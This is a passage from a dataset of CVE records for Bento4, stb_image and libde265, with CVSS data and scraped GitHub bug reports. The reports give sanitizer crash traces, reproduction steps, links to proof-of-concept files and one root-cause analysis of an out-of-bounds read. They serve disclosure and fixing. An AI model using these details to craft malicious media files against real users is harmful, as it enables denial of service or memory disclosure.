#24 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#25 0x4ed071 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4ed071)
…… ……
Direct leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x8f7da0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f0c66e06297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x51e986 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x51e986)
#3 0x424e14 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x424e14)
#4 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#5 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#6 0x661689 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x661689)
#7 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#8 0x6aa85e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x6aa85e)
#9 0x6a9ce4 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x6a9ce4)
#10 0x42420c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42420c)
#11 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#12 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#13 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#14 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#15 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#16 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#17 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#18 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#19 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#20 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#21 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#22 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#23 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#24 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#25 0x4ed071 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4ed071)
#26 0x7fff0fa80e9f ([stack]+0x18e9f)
SUMMARY: AddressSanitizer: 352 byte(s) leaked in 4 allocation(s).
```
# **Bug6**
```
root@34f1181t281a:/fuzz-mp4mux# ./../Bento4-1.6.0-639/cmakebuild/mp4mux --track h264:POC_mp4mux_1729452038 /dev/null
ERROR: no sequence parameter set found in video
=================================================================
==4079790==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 104 byte(s) in 1 object(s) allocated from:
#0 0x4f5ce8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x4fdd99 in main (/Bento4-1.6.0-639/cmakebuild/mp4mux+0x4fdd99)
#2 0x7f3d73ac9c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 104 byte(s) leaked in 1 allocation(s).
root@26c10857b81a:/fuzz-mp4mux# ./../Bento4-1.6.0-639/cmakebuild/mp4mux --track h265:in/3.mp4 /dev/null
ERROR: no sequence parameter set found in video
```
# **POC**
[POC_mp4encrypt_631000973.zip](https://github.com/axiomatic-systems/Bento4/files/9726934/POC_mp4encrypt_631000973.zip)
[POC_mp4edit_728838793.zip](https://github.com/axiomatic-systems/Bento4/files/9726974/POC_mp4edit_728838793.zip)
[POC_mp4decrypt_477546304.zip](https://github.com/axiomatic-systems/Bento4/files/9727002/POC_mp4decrypt_477546304.zip)
[POC_mp4decrypt_34393864.zip](https://github.com/axiomatic-systems/Bento4/files/9727048/POC_mp4decrypt_34393864.zip)
[POC_mp4decrypt_654515280.zip](https://github.com/axiomatic-systems/Bento4/files/9727059/POC_mp4decrypt_654515280.zip)
[POC_mp4mux_1729452038.zip](https://github.com/axiomatic-systems/Bento4/files/9727057/POC_mp4mux_1729452038.zip)
# **Environment**
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch(5b7cc25) && Bento4 release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# **Credit**
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/)), (Zhongguancun Laboratory)
Jiayuan Zhang ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Zezhong Ren ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Thank you for your time!
|
Some Memory leaks exist in mp4xx
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/792/comments
| 0 |
2022-10-06T17:14:56Z
|
2023-06-26T05:55:54Z
|
https://github.com/axiomatic-systems/Bento4/issues/792
| 1,400,040,986 | 792 |
CVE-2021-37789
|
2022-11-02T13:15:10.037
|
stb_image.h 2.27 has a heap-based buffer over in stbi__jpeg_load, leading to Information Disclosure or Denial of Service.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.2,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/nothings/stb/issues/1178"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00045.html"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:stb_project:stb:2.27:*:*:*:*:*:*:*",
"matchCriteriaId": "4EE9CD8E-67B3-4D15-A7D3-FD54FEE21B79",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/nothings/stb/issues/1178
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"nothings",
"stb"
] |
[poc.zip](https://github.com/nothings/stb/files/6861922/poc.zip)
I find heap-buffer-overflow in stbi__jpeg_load with lastest version: 2.27
`clang test.cpp -fsanitize=address -o test`
` ./test poc.jpg`
ASAN log:
```=================================================================
==11092==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62e00000b98f at pc 0x00000051515b bp 0x7ffe7ac04ea0 sp 0x7ffe7ac04e98
READ of size 1 at 0x62e00000b98f thread T0
#0 0x51515a in stbi__resample_row_v_2(unsigned char*, unsigned char*, unsigned char*, int, int) (/home/test/stb/test+0x51515a)
#1 0x511a00 in load_jpeg_image(stbi__jpeg*, int*, int*, int*, int) (/home/test/stb/test+0x511a00)
#2 0x4e9039 in stbi__jpeg_load(stbi__context*, int*, int*, int*, int, stbi__result_info*) (/home/test/stb/test+0x4e9039)
#3 0x4e294f in stbi__load_main(stbi__context*, int*, int*, int*, int, stbi__result_info*, int) (/home/test/stb/test+0x4e294f)
#4 0x4d59fb in stbi__load_and_postprocess_8bit(stbi__context*, int*, int*, int*, int) (/home/test/stb/test+0x4d59fb)
#5 0x4d5744 in stbi_load_from_file (/home/test/stb/test+0x4d5744)
#6 0x4d5540 in stbi_load (/home/test/stb/test+0x4d5540)
#7 0x4dbcc8 in main (/home/test/stb/test+0x4dbcc8)
#8 0x7f9947da3bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41b669 in _start (/home/test/stb/test+0x41b669)
0x62e00000b98f is located 0 bytes to the right of 46479-byte region [0x62e000000400,0x62e00000b98f)
allocated by thread T0 here:
#0 0x4966ad in malloc /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x4d9c44 in stbi__malloc(unsigned long) (/home/test/stb/test+0x4d9c44)
#2 0x4fbe26 in stbi__malloc_mad2(int, int, int) (/home/test/stb/test+0x4fbe26)
#3 0x50ecd5 in stbi__process_frame_header(stbi__jpeg*, int) (/home/test/stb/test+0x50ecd5)
#4 0x503133 in stbi__decode_jpeg_header(stbi__jpeg*, int) (/home/test/stb/test+0x503133)
#5 0x514b69 in stbi__decode_jpeg_image(stbi__jpeg*) (/home/test/stb/test+0x514b69)
#6 0x5101a8 in load_jpeg_image(stbi__jpeg*, int*, int*, int*, int) (/home/test/stb/test+0x5101a8)
#7 0x4e9039 in stbi__jpeg_load(stbi__context*, int*, int*, int*, int, stbi__result_info*) (/home/test/stb/test+0x4e9039)
#8 0x4e294f in stbi__load_main(stbi__context*, int*, int*, int*, int, stbi__result_info*, int) (/home/test/stb/test+0x4e294f)
#9 0x4d59fb in stbi__load_and_postprocess_8bit(stbi__context*, int*, int*, int*, int) (/home/test/stb/test+0x4d59fb)
#10 0x4d5744 in stbi_load_from_file (/home/test/stb/test+0x4d5744)
#11 0x4d5540 in stbi_load (/home/test/stb/test+0x4d5540)
#12 0x4dbcc8 in main (/home/test/stb/test+0x4dbcc8)
#13 0x7f9947da3bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/test/stb/test+0x51515a) in stbi__resample_row_v_2(unsigned char*, unsigned char*, unsigned char*, int, int)
Shadow bytes around the buggy address:
0x0c5c7fff96e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff96f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff9700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff9710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff9720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5c7fff9730: 00[07]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff9740: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff9750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff9760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff9770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff9780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==11092==ABORTING
```
Analyze this bug:
In stbi_imgae.h version less than 2.27, the function load_jpeg_image will calculate the w_lores, and image_x, and in function stbi__process_frame_header, the will clac z->img_comp[i].w2, In some special h and v values, w_lores is
not equal to z->img_comp[k].w2, and load_jpeg_image will call r->resample to copy w_lores size , So it leads to oob read
|
heap-buffer-overflow in stbi__jpeg_load
|
https://api.github.com/repos/nothings/stb/issues/1178/comments
| 2 |
2021-07-22T11:46:46Z
|
2023-01-22T23:03:31Z
|
https://github.com/nothings/stb/issues/1178
| 950,573,228 | 1,178 |
CVE-2022-43235
|
2022-11-02T14:15:12.197
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via ff_hevc_put_hevc_epel_pixels_8_sse in sse-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/337"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/337
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x262cc1) in ff_hevc_put_hevc_epel_pixels_8_sse(short*, long, unsigned char const*, long, int, int, int, int, short*)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc3
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
=================================================================
==53283==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d000058440 at pc 0x7fad91709cc2 bp 0x7fff77a7c980 sp 0x7fff77a7c970
READ of size 8 at 0x62d000058440 thread T0
#0 0x7fad91709cc1 in ff_hevc_put_hevc_epel_pixels_8_sse(short*, long, unsigned char const*, long, int, int, int, int, short*) (/libde265/build/libde265/liblibde265.so+0x262cc1)
#1 0x7fad9161df7e in acceleration_functions::put_hevc_epel(short*, long, void const*, long, int, int, int, int, short*, int) const (/libde265/build/libde265/liblibde265.so+0x176f7e)
#2 0x7fad9161fd75 in void mc_chroma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x178d75)
#3 0x7fad91610b2d in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169b2d)
#4 0x7fad9161d90f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7fad916592d9 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b22d9)
#6 0x7fad9165b250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#7 0x7fad9165b091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#8 0x7fad9165b091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#9 0x7fad9165b091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#10 0x7fad91652726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#11 0x7fad9165b9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#12 0x7fad9165d70f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#13 0x7fad915bc6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#14 0x7fad915bcec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#15 0x7fad915bbc0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#16 0x7fad915bb93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#17 0x7fad915be43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#18 0x7fad915beab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#19 0x7fad915a5e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#20 0x561919dedbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#21 0x7fad910d7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#22 0x561919deb9b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62d000058440 is located 48 bytes to the right of 32784-byte region [0x62d000050400,0x62d000058410)
allocated by thread T0 here:
#0 0x7fad91ace790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7fad915f71cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7fad915f799d in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15099d)
#3 0x7fad915f9d1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7fad915de0cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7fad915bf824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7fad915c2332 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b332)
#7 0x7fad915c5d70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7fad915bb246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7fad915be43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7fad915beab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7fad915a5e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x561919dedbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7fad910d7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x262cc1) in ff_hevc_put_hevc_epel_pixels_8_sse(short*, long, unsigned char const*, long, int, int, int, int, short*)
Shadow bytes around the buggy address:
0x0c5a80003030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a80003040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a80003050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a80003060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a80003070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5a80003080: 00 00 fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa
0x0c5a80003090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a800030a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a800030b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a800030c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a800030d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==53283==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc3
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn/))
|
Heap-buffer-overflow in sse-motion.cc: ff_hevc_put_hevc_epel_pixels_8_sse
|
https://api.github.com/repos/strukturag/libde265/issues/337/comments
| 5 |
2022-10-10T14:26:02Z
|
2023-07-23T16:03:46Z
|
https://github.com/strukturag/libde265/issues/337
| 1,403,267,152 | 337 |
CVE-2022-43236
|
2022-11-02T14:15:12.607
|
Libde265 v1.0.8 was discovered to contain a stack-buffer-overflow vulnerability via put_qpel_fallback<unsigned short> in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/343"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/343
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
